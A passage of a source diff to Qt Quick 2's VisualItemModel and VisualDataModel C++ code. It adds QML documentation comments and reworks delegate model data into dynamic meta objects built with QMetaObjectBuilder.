QList<Item> children;
};
+
+/*!
+ \qmlclass VisualItemModel QSGVisualItemModel
+ \inqmlmodule QtQuick 2
+ \ingroup qml-working-with-data
+ \brief The VisualItemModel allows items to be provided to a view.
+
+ A VisualItemModel contains the visual items to be used in a view.
+ When a VisualItemModel is used in a view, the view does not require
+ a delegate since the VisualItemModel already contains the visual
+ delegate (items).
+
+ An item can determine its index within the
+ model via the \l{VisualItemModel::index}{index} attached property.
+
+ The example below places three colored rectangles in a ListView.
+ \code
+ import QtQuick 1.0
+
+ Rectangle {
+ VisualItemModel {
+ id: itemModel
+ Rectangle { height: 30; width: 80; color: "red" }
+ Rectangle { height: 30; width: 80; color: "green" }
+ Rectangle { height: 30; width: 80; color: "blue" }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: itemModel
+ }
+ }
+ \endcode
+
+ \image visualitemmodel.png
+
+ \sa {declarative/modelviews/visualitemmodel}{VisualItemModel example}
+*/
QSGVisualItemModel::QSGVisualItemModel(QObject *parent)
: QSGVisualModel(*(new QSGVisualItemModelPrivate), parent)
{
}
+/*!
+ \qmlattachedproperty int QtQuick2::VisualItemModel::index
+ This attached property holds the index of this delegate's item within the model.
+
+ It is attached to each instance of the delegate.
+*/
+
QDeclarativeListProperty<QSGItem> QSGVisualItemModel::children()
{
Q_D(QSGVisualItemModel);
@@ -134,6 +180,11 @@ QDeclarativeListProperty<QSGItem> QSGVisualItemModel::children()
d->children_count, d->children_at);
}
+/*!
+ \qmlproperty int QtQuick2::VisualItemModel::count
+
+ The number of items in the model. This property is readonly.
+*/
int QSGVisualItemModel::count() const
{
Q_D(const QSGVisualItemModel);
@@ -198,20 +249,53 @@ QSGVisualItemModelAttached *QSGVisualItemModel::qmlAttachedProperties(QObject *o
//============================================================================
-class VDMDelegateDataType : public QDeclarativeOpenMetaObjectType
+class VDMDelegateDataType : public QDeclarativeRefCount
{
public:
- VDMDelegateDataType(const QMetaObject *base, QDeclarativeEngine *engine) : QDeclarativeOpenMetaObjectType(base, engine) {}
+ VDMDelegateDataType()
+ : metaObject(0)
+ , propertyCache(0)
+ , propertyOffset(0)
+ , signalOffset(0)
+ , shared(true)
+ {
+ }
+
+ VDMDelegateDataType(const VDMDelegateDataType &type)
+ : metaObject(0)
+ , propertyCache(0)
+ , propertyOffset(type.propertyOffset)
+ , signalOffset(type.signalOffset)
+ , shared(false)
+ , builder(type.metaObject, QMetaObjectBuilder::Properties
+ | QMetaObjectBuilder::Signals
+ | QMetaObjectBuilder::SuperClass
+ | QMetaObjectBuilder::ClassName)
+ {
+ builder.setFlags(QMetaObjectBuilder::DynamicMetaObject);
+ }
- void propertyCreated(int, QMetaPropertyBuilder &prop) {
- prop.setWritable(false);
+ ~VDMDelegateDataType()
+ {
+ if (propertyCache)
+ propertyCache->release();
+ qFree(metaObject);
}
+
+ QMetaObject *metaObject;
+ QDeclarativePropertyCache *propertyCache;
+ int propertyOffset;
+ int signalOffset;
+ bool shared : 1;
+ QMetaObjectBuilder builder;
};
class QSGVisualDataModelParts;
class QSGVisualDataModelData;
+class QSGVisualDataModelDataMetaObject;
class QSGVisualDataModelPrivate : public QObjectPrivate
{
+ Q_DECLARE_PUBLIC(QSGVisualDataModel)
public:
QSGVisualDataModelPrivate(QDeclarativeContext *);
@@ -228,55 +312,30 @@ public:
QDeclarativeGuard<QDeclarativeContext> m_context;
QList<int> m_roles;
QHash<QByteArray,int> m_roleNames;
- void ensureRoles() {
- if (m_roleNames.isEmpty()) {
- if (m_listModelInterface) {
- m_roles = m_listModelInterface->roles();
- for (int ii = 0; ii < m_roles.count(); ++ii)
- m_roleNames.insert(m_listModelInterface->toString(m_roles.at(ii)).toUtf8(), m_roles.at(ii));
- } else if (m_abstractItemModel) {
- for (QHash<int,QByteArray>::const_iterator it = m_abstractItemModel->roleNames().begin();
- it != m_abstractItemModel->roleNames().end(); ++it) {
- m_roles.append(it.key());
- m_roleNames.insert(*it, it.key());
- }
- if (m_roles.count())
- m_roleNames.insert("hasModelChildren", -1);
- } else if (m_listAccessor) {
- m_roleNames.insert("modelData", 0);
- if (m_listAccessor->type() == QDeclarativeListAccessor::Instance) {
- if (QObject *object = m_listAccessor->at(0).value<QObject*>()) {
- int count = object->metaObject()->propertyCount();
- for (int ii = 1; ii < count; ++ii) {
- const QMetaProperty &prop = object->metaObject()->property(ii);
- m_roleNames.insert(prop.name(), 0);
- }
- }
- }
- }
- }
+
+ void addProperty(int role, int propertyId, const char *propertyName, const char *propertyType, bool isModelData = false);
+ template <typename T> void setModelDataType()
+ {
+ createModelData = &T::create;
+ m_delegateDataType->builder.setFlags(QMetaObjectBuilder::DynamicMetaObject);
+ m_delegateDataType->builder.setClassName(T::staticMetaObject.className());
+ m_delegateDataType->builder.setSuperClass(&T::staticMetaObject);
+ m_delegateDataType->propertyOffset = T::staticMetaObject.propertyCount();
+ m_delegateDataType->signalOffset = T::staticMetaObject.methodCount();
}
+ QSGVisualDataModelData *createMetaObject(int index, QSGVisualDataModel *model);
- QHash<int,int> m_roleToPropId;
- int m_modelDataPropId;
- void createMetaData() {
- if (!m_metaDataCreated) {
- ensureRoles();
- if (m_roleNames.count()) {
- QHash<QByteArray, int>::const_iterator it = m_roleNames.begin();
- while (it != m_roleNames.end()) {
- int propId = m_delegateDataType->createProperty(it.key()) - m_delegateDataType->propertyOffset();
- m_roleToPropId.insert(*it, propId);
- ++it;
- }
- // Add modelData property
- if (m_roles.count() == 1 && !m_roleNames.contains("modelData"))
- m_modelDataPropId = m_delegateDataType->createProperty("modelData") - m_delegateDataType->propertyOffset();
- m_metaDataCreated = true;
- }
- }
+ static QSGVisualDataModelData *initializeModelData(int index, QSGVisualDataModel *model) {
+ return get(model)->createMetaObject(index, model);
}
+ typedef QSGVisualDataModelData *(*CreateModelData)(int index, QSGVisualDataModel *model);
+
+ struct PropertyData {
+ int role;
+ bool isModelData : 1;
+ };
+
struct ObjectRef {
ObjectRef(QObject *object=0) : obj(object), ref(1) {}
QObject *obj;
@@ -338,11 +397,12 @@ public:
friend class QSGVisualItemParts;
VDMDelegateDataType *m_delegateDataType;
+ CreateModelData createModelData;
+
friend class QSGVisualDataModelData;
- bool m_metaDataCreated : 1;
- bool m_metaDataCacheable : 1;
bool m_delegateValidated : 1;
bool m_completePending : 1;
+ bool m_objectList : 1;
QSGVisualDataModelData *data(QObject *item);
@@ -352,164 +412,315 @@ public:
QModelIndex m_root;
QList<QByteArray> watchedRoles;
QList<int> watchedRoleIds;
-};
-
-class QSGVisualDataModelDataMetaObject : public QDeclarativeOpenMetaObject
-{
-public:
- QSGVisualDataModelDataMetaObject(QObject *parent, QDeclarativeOpenMetaObjectType *type)
- : QDeclarativeOpenMetaObject(parent, type) {}
- virtual QVariant initialValue(int);
- virtual int createProperty(const char *, const char *);
-
-private:
- friend class QSGVisualDataModelData;
+ QVector<PropertyData> m_propertyData;
};
class QSGVisualDataModelData : public QObject
{
-Q_OBJECT
+ Q_OBJECT
+ Q_PROPERTY(int index READ index NOTIFY indexChanged)
public:
QSGVisualDataModelData(int index, QSGVisualDataModel *model);
~QSGVisualDataModelData();
- Q_PROPERTY(int index READ index NOTIFY indexChanged)
int index() const;
void setIndex(int index);
- int propForRole(int) const;
- int modelDataPropertyId() const {
- QSGVisualDataModelPrivate *model = QSGVisualDataModelPrivate::get(m_model);
- return model->m_modelDataPropId;
- }
-
- void setValue(int, const QVariant &);
- bool hasValue(int id) const {
- return m_meta->hasValue(id);
- }
-
- void ensureProperties();
-
Q_SIGNALS:
void indexChanged();
-private:
- friend class QSGVisualDataModelDataMetaObject;
+public:
int m_index;
QDeclarativeGuard<QSGVisualDataModel> m_model;
- QSGVisualDataModelDataMetaObject *m_meta;
};
-int QSGVisualDataModelData::propForRole(int id) const
+class QSGVisualDataModelDataMetaObject : public QAbstractDynamicMetaObject
{
- QSGVisualDataModelPrivate *model = QSGVisualDataModelPrivate::get(m_model);
- QHash<int,int>::const_iterator it = model->m_roleToPropId.find(id);
- if (it != model->m_roleToPropId.end())
- return *it;
+public:
+ QSGVisualDataModelDataMetaObject(QSGVisualDataModelData *data, VDMDelegateDataType *type)
+ : m_data(data)
+ , m_type(type)
+ {
+ QObjectPrivate *op = QObjectPrivate::get(m_data);
+ *static_cast<QMetaObject *>(this) = *type->metaObject;
+ op->metaObject = this;
+ m_type->addref();
+ }
- return -1;
-}
+ ~QSGVisualDataModelDataMetaObject() { m_type->release(); }
-void QSGVisualDataModelData::setValue(int id, const QVariant &val)
-{
- m_meta->setValue(id, val);
-}
+ QSGVisualDataModelData *m_data;
+ VDMDelegateDataType *m_type;
+};
-int QSGVisualDataModelDataMetaObject::createProperty(const char *name, const char *type)
+class QSGVDMAbstractItemModelDataMetaObject : public QSGVisualDataModelDataMetaObject
{
- QSGVisualDataModelData *data =
- static_cast<QSGVisualDataModelData *>(object());
+public:
+ QSGVDMAbstractItemModelDataMetaObject(QSGVisualDataModelData *object, VDMDelegateDataType *type)
+ : QSGVisualDataModelDataMetaObject(object, type) {}
+
+ int metaCall(QMetaObject::Call call, int id, void **arguments)
+ {
+ if (call == QMetaObject::ReadProperty && id >= m_type->propertyOffset) {
+ QSGVisualDataModelPrivate *model = QSGVisualDataModelPrivate::get(m_data->m_model);
+ if (m_data->m_index == -1 || !model->m_abstractItemModel)
+ return -1;
+ *static_cast<QVariant *>(arguments[0]) = model->m_abstractItemModel->index(
+ m_data->m_index, 0, model->m_root).data(model->m_propertyData.at(id - m_type->propertyOffset).role);
+ return -1;
+ } else {
+ return m_data->qt_metacall(call, id, arguments);
+ }
+ }
+};
- if (!data->m_model)
- return -1;
+class QSGVDMAbstractItemModelData : public QSGVisualDataModelData
+{
+ Q_OBJECT
+ Q_PROPERTY(bool hasModelChildren READ hasModelChildren CONSTANT)
+public:
+ bool hasModelChildren() const
+ {
+ QSGVisualDataModelPrivate *model = QSGVisualDataModelPrivate::get(m_model);
+ return model->m_abstractItemModel->hasChildren(model->m_abstractItemModel->index(m_index, 0, model->m_root));
+ }
- QSGVisualDataModelPrivate *model = QSGVisualDataModelPrivate::get(data->m_model);
- if (data->m_index < 0 || data->m_index >= model->modelCount())
- return -1;
+ static QSGVisualDataModelData *create(int index, QSGVisualDataModel *model) {
+ return new QSGVDMAbstractItemModelData(index, model); }
+private:
+ QSGVDMAbstractItemModelData(int index, QSGVisualDataModel *model)
+ : QSGVisualDataModelData(index, model)
+ {
+ new QSGVDMAbstractItemModelDataMetaObject(
+ this, QSGVisualDataModelPrivate::get(m_model)->m_delegateDataType);
+ }
+};
- if ((!model->m_listModelInterface || !model->m_abstractItemModel) && model->m_listAccessor) {
- if (model->m_listAccessor->type() == QDeclarativeListAccessor::ListProperty) {
- model->ensureRoles();
- if (qstrcmp(name,"modelData") == 0)
- return QDeclarativeOpenMetaObject::createProperty(name, type);
+class QSGVDMListModelInterfaceDataMetaObject : public QSGVisualDataModelDataMetaObject
+{
+public:
+ QSGVDMListModelInterfaceDataMetaObject(QSGVisualDataModelData *object, VDMDelegateDataType *type)
+ : QSGVisualDataModelDataMetaObject(object, type) {}
+
+ int metaCall(QMetaObject::Call call, int id, void **arguments)
+ {
+ if (call == QMetaObject::ReadProperty && id >= m_type->propertyOffset) {
+ QSGVisualDataModelPrivate *model = QSGVisualDataModelPrivate::get(m_data->m_model);
+ if (m_data->m_index == -1 || !model->m_listModelInterface)
+ return -1;
+ *static_cast<QVariant *>(arguments[0]) = model->m_listModelInterface->data(
+ m_data->m_index, model->m_propertyData.at(id - m_type->propertyOffset).role);
+ return -1;
+ } else {
+ return m_data->qt_metacall(call, id, arguments);
}
}
- return -1;
-}
+};
-QVariant QSGVisualDataModelDataMetaObject::initialValue(int propId)
+class QSGVDMListModelInterfaceData : public QSGVisualDataModelData
{
- QSGVisualDataModelData *data =
- static_cast<QSGVisualDataModelData *>(object());
+public:
+ static QSGVisualDataModelData *create(int index, QSGVisualDataModel *model) {
+ return new QSGVDMListModelInterfaceData(index, model); }
+private:
+ QSGVDMListModelInterfaceData(int index, QSGVisualDataModel *model)
+ : QSGVisualDataModelData(index, model)
+ {
+ new QSGVDMListModelInterfaceDataMetaObject(
+ this, QSGVisualDataModelPrivate::get(m_model)->m_delegateDataType);
+ }
+};
- Q_ASSERT(data->m_model);
- QSGVisualDataModelPrivate *model = QSGVisualDataModelPrivate::get(data->m_model);
+class QSGVDMListAccessorData : public QSGVisualDataModelData
+{
+ Q_OBJECT
+ Q_PROPERTY(QVariant modelData READ modelData CONSTANT)
+public:
+ QVariant modelData() const {
+ return QSGVisualDataModelPrivate::get(m_model)->m_listAccessor->at(m_index); }
- QByteArray propName = name(propId);
- if ((!model->m_listModelInterface || !model->m_abstractItemModel) && model->m_listAccessor) {
- if (propName == "modelData") {
- if (model->m_listAccessor->type() == QDeclarativeListAccessor::Instance) {
- QObject *object = model->m_listAccessor->at(0).value<QObject*>();
- return object->metaObject()->property(1).read(object); // the first property after objectName
- }
- return model->m_listAccessor->at(data->m_index);
+ static QSGVisualDataModelData *create(int index, QSGVisualDataModel *model) {
+ return new QSGVDMListAccessorData(index, model); }
+private:
+ QSGVDMListAccessorData(int index, QSGVisualDataModel *model)
+ : QSGVisualDataModelData(index, model)
+ {
+ }
+};
+
+class QSGVDMObjectDataMetaObject : public QSGVisualDataModelDataMetaObject
+{
+public:
+ QSGVDMObjectDataMetaObject(QSGVisualDataModelData *data, VDMDelegateDataType *type)
+ : QSGVisualDataModelDataMetaObject(data, type)
+ , m_object(QSGVisualDataModelPrivate::get(data->m_model)->m_listAccessor->at(data->m_index).value<QObject *>())
+ {}
+
+ int metaCall(QMetaObject::Call call, int id, void **arguments)
+ {
+ if (id >= m_type->propertyOffset
+ && (call == QMetaObject::ReadProperty
+ || call == QMetaObject::WriteProperty
+ || call == QMetaObject::ResetProperty)) {
+ if (m_object)
+ QMetaObject::metacall(m_object, call, id - m_type->propertyOffset + 1, arguments);
+ return -1;
+ } else if (id >= m_type->signalOffset && call == QMetaObject::InvokeMetaMethod) {
+ QMetaObject::activate(m_data, this, id, 0);
+ return -1;
} else {
- // return any property of a single object instance.
- QObject *object = model->m_listAccessor->at(data->m_index).value<QObject*>();
- return object->property(propName);
+ return m_data->qt_metacall(call, id, arguments);
}
- } else if (model->m_listModelInterface) {
- model->ensureRoles();
- QHash<QByteArray,int>::const_iterator it = model->m_roleNames.find(propName);
- if (it != model->m_roleNames.end()) {
- QVariant value = model->m_listModelInterface->data(data->m_index, *it);
- return value;
- } else if (model->m_roles.count() == 1 && propName == "modelData") {
- //for compatibility with other lists, assign modelData if there is only a single role
- QVariant value = model->m_listModelInterface->data(data->m_index, model->m_roles.first());
- return value;
+ }
+
+ int createProperty(const char *name, const char *)
+ {
+ if (!m_object)
+ return -1;
+ const QMetaObject *metaObject = m_object->metaObject();
+
+ const int previousPropertyCount = propertyCount() - propertyOffset();
+ int propertyIndex = metaObject->indexOfProperty(name);
+ if (propertyIndex == -1)
+ return -1;
+ if (previousPropertyCount + 1 == metaObject->propertyCount())
+ return propertyIndex + m_type->propertyOffset - 1;
+
+ if (m_type->shared) {
+ VDMDelegateDataType *type = m_type;
+ m_type = new VDMDelegateDataType(*m_type);
+ type->release();
}
- } else if (model->m_abstractItemModel) {
- model->ensureRoles();
- QModelIndex index = model->m_abstractItemModel->index(data->m_index, 0, model->m_root);
- if (propName == "hasModelChildren") {
- return model->m_abstractItemModel->hasChildren(index);
- } else {
- QHash<QByteArray,int>::const_iterator it = model->m_roleNames.find(propName);
- if (it != model->m_roleNames.end()) {
- return model->m_abstractItemModel->data(index, *it);
- } else if (model->m_roles.count() == 1 && propName == "modelData") {
- //for compatibility with other lists, assign modelData if there is only a single role
- return model->m_abstractItemModel->data(index, model->m_roles.first());
+
+ const int previousMethodCount = methodCount();
+ int notifierId = previousMethodCount;
+ for (int propertyId = previousPropertyCount; propertyId < metaObject->propertyCount() - 1; ++propertyId) {
+ QMetaProperty property = metaObject->property(propertyId + 1);
+ QMetaPropertyBuilder propertyBuilder;
+ if (property.hasNotifySignal()) {
+ m_type->builder.addSignal("__" + QByteArray::number(propertyId) + "()");
+ propertyBuilder = m_type->builder.addProperty(property.name(), property.typeName(), notifierId);
+ ++notifierId;
+ } else {
+ propertyBuilder = m_type->builder.addProperty(property.name(), property.typeName());
+ }
+ propertyBuilder.setWritable(property.isWritable());
+ propertyBuilder.setResettable(property.isResettable());
+ propertyBuilder.setConstant(property.isConstant());
+ }
+
+ if (m_type->metaObject)
+ qFree(m_type->metaObject);
+ m_type->metaObject = m_type->builder.toMetaObject();
+ *static_cast<QMetaObject *>(this) = *m_type->metaObject;
+
+ notifierId = previousMethodCount;
+ for (int i = previousPropertyCount; i < metaObject->propertyCount(); ++i) {
+ QMetaProperty property = metaObject->property(i);
+ if (property.hasNotifySignal()) {
+ QDeclarativePropertyPrivate::connect(
+ m_object, property.notifySignalIndex(), m_data, notifierId);
+ ++notifierId;
}
}
+ return propertyIndex + m_type->propertyOffset - 1;
+ }
+
+ QDeclarativeGuard<QObject> m_object;
+};
+
+class QSGVDMObjectData : public QSGVisualDataModelData
+{
+ Q_OBJECT
+ Q_PROPERTY(QObject *modelData READ modelData CONSTANT)
+public:
+ QObject *modelData() const { return m_metaObject->m_object; }
+
+ static QSGVisualDataModelData *create(int index, QSGVisualDataModel *model) {
+ return new QSGVDMObjectData(index, model); }
+
+private:
+ QSGVDMObjectData(int index, QSGVisualDataModel *model)
+ : QSGVisualDataModelData(index, model)
+ , m_metaObject(new QSGVDMObjectDataMetaObject(this, QSGVisualDataModelPrivate::get(m_model)->m_delegateDataType))
+ {
}
- Q_ASSERT(!"Can never be reached");
- return QVariant();
+
+ QSGVDMObjectDataMetaObject *m_metaObject;
+};
+
+void QSGVisualDataModelPrivate::addProperty(
+ int role, int propertyId, const char *propertyName, const char *propertyType, bool isModelData)
+{
+ PropertyData propertyData;
+ propertyData.role = role;
+ propertyData.isModelData = isModelData;
+ m_delegateDataType->builder.addSignal("__" + QByteArray::number(propertyId) + "()");
+ QMetaPropertyBuilder property = m_delegateDataType->builder.addProperty(
+ propertyName, propertyType, propertyId);
+ property.setWritable(false);
+
+ m_propertyData.append(propertyData);
}
-QSGVisualDataModelData::QSGVisualDataModelData(int index,
- QSGVisualDataModel *model)
-: m_index(index), m_model(model),
-m_meta(new QSGVisualDataModelDataMetaObject(this, QSGVisualDataModelPrivate::get(model)->m_delegateDataType))
+QSGVisualDataModelData *QSGVisualDataModelPrivate::createMetaObject(int index, QSGVisualDataModel *model)
{
- ensureProperties();
+ Q_ASSERT(!m_delegateDataType);
+
+ m_objectList = false;
+ m_propertyData.clear();
+ if (m_listAccessor
+ && m_listAccessor->type() != QDeclarativeListAccessor::ListProperty
+ && m_listAccessor->type() != QDeclarativeListAccessor::Instance) {
+ createModelData = &QSGVDMListAccessorData::create;
+ return QSGVDMListAccessorData::create(index, model);
+ }
+
+ m_delegateDataType = new VDMDelegateDataType;
+ if (m_listModelInterface) {
+ setModelDataType<QSGVDMListModelInterfaceData>();
+ QList<int> roles = m_listModelInterface->roles();
+ for (int propertyId = 0; propertyId < roles.count(); ++propertyId) {
+ const int role = roles.at(propertyId);
+ const QByteArray propertyName = m_listModelInterface->toString(role).toUtf8();
+ addProperty(role, propertyId, propertyName, "QVariant");
+ m_roleNames.insert(propertyName, role);
+ }
+ if (m_propertyData.count() == 1)
+ addProperty(roles.first(), 1, "modelData", "QVariant", true);
+ } else if (m_abstractItemModel) {
+ setModelDataType<QSGVDMAbstractItemModelData>();
+ QHash<int, QByteArray> roleNames = m_abstractItemModel->roleNames();
+ for (QHash<int, QByteArray>::const_iterator it = roleNames.begin(); it != roleNames.end(); ++it) {
+ addProperty(it.key(), m_propertyData.count(), it.value(), "QVariant");
+ m_roleNames.insert(it.value(), it.key());
+ }
+ if (m_propertyData.count() == 1)
+ addProperty(roleNames.begin().key(), 1, "modelData", "QVariant", true);
+ } else if (m_listAccessor) {
+ setModelDataType<QSGVDMObjectData>();
+ m_objectList = true;
+ } else {
+ Q_ASSERT(!"No model set on VisualDataModel");
+ return 0;
+ }
+ m_delegateDataType->metaObject = m_delegateDataType->builder.toMetaObject();
+ if (!m_objectList) {
+ m_delegateDataType->propertyCache = new QDeclarativePropertyCache(
+ m_context ? m_context->engine() : qmlEngine(q_func()), m_delegateDataType->metaObject);
+ }
+ return createModelData(index, model);
}
-QSGVisualDataModelData::~QSGVisualDataModelData()
+QSGVisualDataModelData::QSGVisualDataModelData(int index, QSGVisualDataModel *model)
+ : m_index(index)
+ , m_model(model)
{
}
-void QSGVisualDataModelData::ensureProperties()
+QSGVisualDataModelData::~QSGVisualDataModelData()
{
- QSGVisualDataModelPrivate *modelPriv = QSGVisualDataModelPrivate::get(m_model);
- if (modelPriv->m_metaDataCacheable) {
- if (!modelPriv->m_metaDataCreated)
- modelPriv->createMetaData();
- if (modelPriv->m_metaDataCreated)
- m_meta->setCached(true);
- }
}
int QSGVisualDataModelData::index() const
@@ -571,8 +782,8 @@ QSGVisualDataModelParts::QSGVisualDataModelParts(QSGVisualDataModel *parent)
QSGVisualDataModelPrivate::QSGVisualDataModelPrivate(QDeclarativeContext *ctxt)
: m_listModelInterface(0), m_abstractItemModel(0), m_visualItemModel(0), m_delegate(0)
-, m_context(ctxt), m_modelDataPropId(-1), m_parts(0), m_delegateDataType(0), m_metaDataCreated(false)
-, m_metaDataCacheable(false), m_delegateValidated(false), m_completePending(false), m_listAccessor(0)
+, m_context(ctxt), m_parts(0), m_delegateDataType(0), createModelData(&initializeModelData)
+, m_delegateValidated(false), m_completePending(false), m_objectList(false), m_listAccessor(0)
{
}
@@ -586,6 +797,26 @@ QSGVisualDataModelData *QSGVisualDataModelPrivate::data(QObject *item)
//---------------------------------------------------------------------------
+/*!
+ \qmlclass VisualDataModel QSGVisualDataModel
+ \inqmlmodule QtQuick 2
+ \ingroup qml-working-with-data
+ \brief The VisualDataModel encapsulates a model and delegate
+
+ A VisualDataModel encapsulates a model and the delegate that will
+ be instantiated for items in the model.
+
+ It is usually not necessary to create VisualDataModel elements.
+ However, it can be useful for manipulating and accessing the \l modelIndex
+ when a QAbstractItemModel subclass is used as the
+ model. Also, VisualDataModel is used together with \l Package to
+ provide delegates to multiple views.
+
+ The example below illustrates using a VisualDataModel with a ListView.
+
+ \snippet doc/src/snippets/declarative/visualdatamodel.qml 0
+*/
+
QSGVisualDataModel::QSGVisualDataModel()
: QSGVisualModel(*(new QSGVisualDataModelPrivate(0)))
{
@@ -605,6 +836,20 @@ QSGVisualDataModel::~QSGVisualDataModel()
d->m_delegateDataType->release();
}
+/*!
+ \qmlproperty model QtQuick2::VisualDataModel::model
+ This property holds the model providing data for the VisualDataModel.
+
+ The model provides a set of data that is used to create the items
+ for a view. For large or dynamic datasets the model is usually
+ provided by a C++ model object. The C++ model object must be a \l
+ {QAbstractItemModel} subclass or a simple list.
+
+ Models can also be created directly in QML, using a \l{ListModel} or
+ \l{XmlListModel}.
+
+ \sa {qmlmodels}{Data Models}
+*/
QVariant QSGVisualDataModel::model() const
{
Q_D(const QSGVisualDataModel);
@@ -658,9 +903,8 @@ void QSGVisualDataModel::setModel(const QVariant &model)
d->m_roleNames.clear();
if (d->m_delegateDataType)
d->m_delegateDataType->release();
- d->m_metaDataCreated = 0;
- d->m_metaDataCacheable = false;
- d->m_delegateDataType = new VDMDelegateDataType(&QSGVisualDataModelData::staticMetaObject, d->m_context?d->m_context->engine():qmlEngine(this));
+ d->m_delegateDataType = 0;
+ d->createModelData = &QSGVisualDataModelPrivate::initializeModelData;
QObject *object = qvariant_cast<QObject *>(model);
if (object && (d->m_listModelInterface = qobject_cast<QListModelInterface *>(object))) {
@@ -672,7 +916,6 @@ void QSGVisualDataModel::setModel(const QVariant &model)
this, SLOT(_q_itemsRemoved(int,int)));
QObject::connect(d->m_listModelInterface, SIGNAL(itemsMoved(int,int,int)),
this, SLOT(_q_itemsMoved(int,int,int)));
- d->m_metaDataCacheable = true;
if (d->m_delegate && d->m_listModelInterface->count())
emit itemsInserted(0, d->m_listModelInterface->count());
return;
@@ -687,7 +930,6 @@ void QSGVisualDataModel::setModel(const QVariant &model)
this, SLOT(_q_rowsMoved(QModelIndex,int,int,QModelIndex,int)));
QObject::connect(d->m_abstractItemModel, SIGNAL(modelReset()), this, SLOT(_q_modelReset()));
QObject::connect(d->m_abstractItemModel, SIGNAL(layoutChanged()), this, SLOT(_q_layoutChanged()));
- d->m_metaDataCacheable = true;
if (d->m_abstractItemModel->canFetchMore(d->m_root))
d->m_abstractItemModel->fetchMore(d->m_root);
return;
@@ -710,13 +952,19 @@ void QSGVisualDataModel::setModel(const QVariant &model)
d->m_listAccessor = new QDeclarativeListAccessor;
d->m_listAccessor->setList(model, d->m_context?d->m_context->engine():qmlEngine(this));
if (d->m_listAccessor->type() != QDeclarativeListAccessor::ListProperty)
- d->m_metaDataCacheable = true;
if (d->m_delegate && d->modelCount()) {
emit itemsInserted(0, d->modelCount());
emit countChanged();
}
}
+/*!
+ \qmlproperty Component QtQuick2::VisualDataModel::delegate
+
+ The delegate provides a template defining each item instantiated by a view.
+ The index is exposed as an accessible \c index property. Properties of the
+ model are also available depending upon the type of \l {qmlmodels}{Data Model}.
+*/
QDeclarativeComponent *QSGVisualDataModel::delegate() const
{
Q_D(const QSGVisualDataModel);
@@ -741,6 +989,35 @@ void QSGVisualDataModel::setDelegate(QDeclarativeComponent *delegate)
}
}
+/*!
+ \qmlproperty QModelIndex QtQuick2::VisualDataModel::rootIndex
+
+ QAbstractItemModel provides a hierarchical tree of data, whereas
+ QML only operates on list data. \c rootIndex allows the children of
+ any node in a QAbstractItemModel to be provided by this model.
+
+ This property only affects models of type QAbstractItemModel that
+ are hierarchical (e.g, a tree model).
+
+ For example, here is a simple interactive file system browser.
+ When a directory name is clicked, the view's \c rootIndex is set to the
+ QModelIndex node of the clicked directory, thus updating the view to show
+ the new directory's contents.
+
+ \c main.cpp:
+ \snippet doc/src/snippets/declarative/visualdatamodel_rootindex/main.cpp 0
+
+ \c view.qml:
+ \snippet doc/src/snippets/declarative/visualdatamodel_rootindex/view.qml 0
+
+ If the \l model is a QAbstractItemModel subclass, the delegate can also
+ reference a \c hasModelChildren property (optionally qualified by a
+ \e model. prefix) that indicates whether the delegate's model item has
+ any child nodes.
+
+
+ \sa modelIndex(), parentModelIndex()
+*/
QVariant QSGVisualDataModel::rootIndex() const
{
Q_D(const QSGVisualDataModel);
@@ -767,6 +1044,18 @@ void QSGVisualDataModel::setRootIndex(const QVariant &root)
}
}
+/*!
+ \qmlmethod QModelIndex QtQuick2::VisualDataModel::modelIndex(int index)
+
+ QAbstractItemModel provides a hierarchical tree of data, whereas
+ QML only operates on list data. This function assists in using
+ tree models in QML.
+
+ Returns a QModelIndex for the specified index.
+ This value can be assigned to rootIndex.
+
+ \sa rootIndex
+*/
QVariant QSGVisualDataModel::modelIndex(int idx) const
{
Q_D(const QSGVisualDataModel);
@@ -775,6 +1064,18 @@ QVariant QSGVisualDataModel::modelIndex(int idx) const
return QVariant::fromValue(QModelIndex());
}
+/*!
+ \qmlmethod QModelIndex QtQuick2::VisualDataModel::parentModelIndex()
+
+ QAbstractItemModel provides a hierarchical tree of data, whereas
+ QML only operates on list data. This function assists in using
+ tree models in QML.
+
+ Returns a QModelIndex for the parent of the current rootIndex.
+ This value can be assigned to rootIndex.
+
+ \sa rootIndex
+*/
QVariant QSGVisualDataModel::parentModelIndex() const
{
Q_D(const QSGVisualDataModel);
@@ -783,6 +1084,33 @@ QVariant QSGVisualDataModel::parentModelIndex() const
return QVariant::fromValue(QModelIndex());
}
+/*!
+ \qmlproperty object QtQuick2::VisualDataModel::parts
+
+ The \a parts property selects a VisualDataModel which creates
+ delegates from the part named. This is used in conjunction with
+ the \l Package element.
+
+ For example, the code below selects a model which creates
+ delegates named \e list from a \l Package:
+
+ \code
+ VisualDataModel {
+ id: visualModel
+ delegate: Package {
+ Item { Package.name: "list" }
+ }
+ model: myModel
+ }
+
+ ListView {
+ width: 200; height:200
+ model: visualModel.parts.list
+ }
+ \endcode
+
+ \sa Package
+*/
QString QSGVisualDataModel::part() const
{
Q_D(const QSGVisualDataModel);
@@ -881,12 +1209,11 @@ QSGItem *QSGVisualDataModel::item(int index, const QByteArray &viewId, bool comp
QDeclarativeContext *ccontext = d->m_context;
if (!ccontext) ccontext = qmlContext(this);
QDeclarativeContext *ctxt = new QDeclarativeContext(ccontext);
- QSGVisualDataModelData *data = new QSGVisualDataModelData(index, this);
- if ((!d->m_listModelInterface || !d->m_abstractItemModel) && d->m_listAccessor
- && d->m_listAccessor->type() == QDeclarativeListAccessor::ListProperty) {
- ctxt->setContextObject(d->m_listAccessor->at(index).value<QObject*>());
- ctxt = new QDeclarativeContext(ctxt, ctxt);
+ if (d->m_objectList) {
+ ctxt->setContextObject(d->m_listAccessor->at(index).value<QObject *>());
+ ctxt = new QDeclarativeContext(ctxt);
}
+ QSGVisualDataModelData *data = d->createModelData(index, this);
ctxt->setContextProperty(QLatin1String("model"), data);
ctxt->setContextObject(data);
d->m_completePending = false;
@@ -975,7 +1302,7 @@ QString QSGVisualDataModel::stringValue(int index, const QString &name)
if (QObject *nobj = d->m_cache.item(index))
data = d->data(nobj);
if (!data) {
- data = new QSGVisualDataModelData(index, this);
+ data = d->createModelData(index, this);
tempData = true;
}
@@ -1031,6 +1358,21 @@ void QSGVisualDataModel::_q_itemsChanged(int index, int count,
}
}
+ QVector<int> signalIndexes;
+ for (int i = 0; i < roles.count(); ++i) {
+ const int role = roles.at(i);
+ if (!changed && d->watchedRoleIds.contains(role))
+ changed = true;
+ for (int propertyId = 0; propertyId < d->m_propertyData.count(); ++propertyId) {
